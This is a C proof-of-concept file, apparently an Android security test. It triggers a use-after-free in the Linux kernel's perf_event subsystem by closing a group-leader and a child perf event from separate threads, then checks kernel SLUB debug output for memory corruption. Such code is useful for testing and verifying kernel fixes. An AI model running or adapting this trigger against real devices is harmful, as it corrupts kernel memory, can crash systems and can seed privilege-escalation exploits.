/*
* Copyright (C) 2017 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
//overwrite object+0x20,like a list initilize
#include <unistd.h>
#include <sys/syscall.h>
#include <string.h>
#include <sys/wait.h>
#include <stdint.h>
#include <stdio.h>
#include <pthread.h>
#include <sys/ioctl.h>
struct perf_event_attr {
/*
* Major type: hardware/software/tracepoint/etc.
*/
__u32 type;
/*
* Size of the attr structure, for fwd/bwd compat.
*/
__u32 size;
/*
* Type specific configuration information.
*/
__u64 config;
union {
__u64 sample_period;
__u64 sample_freq;
};
__u64 sample_type;
__u64 read_format;
__u64 disabled : 1, /* off by default */
inherit : 1, /* children inherit it */
pinned : 1, /* must always be on PMU */
exclusive : 1, /* only group on PMU */
exclude_user : 1, /* don't count user */
exclude_kernel : 1, /* ditto kernel */
exclude_hv : 1, /* ditto hypervisor */
exclude_idle : 1, /* don't count when idle */
mmap : 1, /* include mmap data */
comm : 1, /* include comm data */
freq : 1, /* use freq, not period */
inherit_stat : 1, /* per task counts */
enable_on_exec : 1, /* next exec enables */
task : 1, /* trace fork/exit */
watermark : 1, /* wakeup_watermark */
/*
* precise_ip:
*
* 0 - SAMPLE_IP can have arbitrary skid
* 1 - SAMPLE_IP must have constant skid
* 2 - SAMPLE_IP requested to have 0 skid
* 3 - SAMPLE_IP must have 0 skid
*
* See also PERF_RECORD_MISC_EXACT_IP
*/
precise_ip : 2, /* skid constraint */
mmap_data : 1, /* non-exec mmap data */
sample_id_all : 1, /* sample_type all events */
exclude_host : 1, /* don't count in host */
exclude_guest : 1, /* don't count in guest */
exclude_callchain_kernel : 1, /* exclude kernel callchains */
exclude_callchain_user : 1, /* exclude user callchains */
constraint_duplicate : 1,
__reserved_1 : 40;
union {
__u32 wakeup_events; /* wakeup every n events */
__u32 wakeup_watermark; /* bytes before wakeup */
};
__u32 bp_type;
union {
__u64 bp_addr;
__u64 config1; /* extension of config */
};
union {
__u64 bp_len;
__u64 config2; /* extension of config1 */
};
__u64 branch_sample_type; /* enum perf_branch_sample_type */
/*
* Defines set of user regs to dump on samples.
* See asm/perf_regs.h for details.
*/
__u64 sample_regs_user;
/*
* Defines size of the user stack to dump on samples.
*/
__u32 sample_stack_user;
/* Align to u64. */
__u32 __reserved_2;
};
#define PAIR_FD 1
int group_fd[PAIR_FD],child_fd[PAIR_FD];
long created = 0;
long freed = 0;
long finished = 0;
void *thr(void *arg) {
printf("id=%d arg=%d\n",gettid(),arg);
int i;
struct perf_event_attr attr;
switch ((long)arg) {
case 0:
//#16123
printf("thread 0\n");
memset(&attr,0,sizeof(struct perf_event_attr));
attr.type = 1;
attr.size = sizeof(struct perf_event_attr);
attr.config = 1;
group_fd[0] = syscall(__NR_perf_event_open, &attr, 0x0ul, -1,
-1, 0x1ul, 0);
if(group_fd[0]<0){
perror("perf-group:");
}
memset(&attr,0,sizeof(struct perf_event_attr));
attr.type = 1;
attr.size = sizeof(struct perf_event_attr);
attr.config = 5;
child_fd[0] = syscall(__NR_perf_event_open, &attr,0x0ul, 0x6ul, group_fd[0], 0x0ul, 0);
if(group_fd[0]<0){
perror("perf-child:");
}
created = 1;
break;
case 1:
while(!created){
sleep(1);
}
printf("thread 1\n");
close(group_fd[0]);
freed = 1;
break;
case 2:
printf("thread 2\n");
while(!freed){
sleep(1);
}
close(child_fd[0]);
finished = 1;
break;
}
return 0;
}
int poc() {
long i;
pthread_t th[5];
for (i = 0; i < 3; i++) {
pthread_create(&th[i], 0, thr, (void *)i);
usleep(10000);
}
while(!finished){
sleep(1);
}
return 0;
}
int main(int argc, char const *argv[])
{
int pid;
unsigned int times;
times = 0;
printf("POC3\n");
printf("Please enable CONFIG_SLUB_DEBUG_ON and check the posion overwriten message in kernel\n");
fflush(stdout);
// while(1){
pid = fork();
if(pid){
int status;
int ret = waitpid(pid,&status,0);
printf("[%d]times.\r",times);
times++;
}else
return poc();
// }
return 0;
}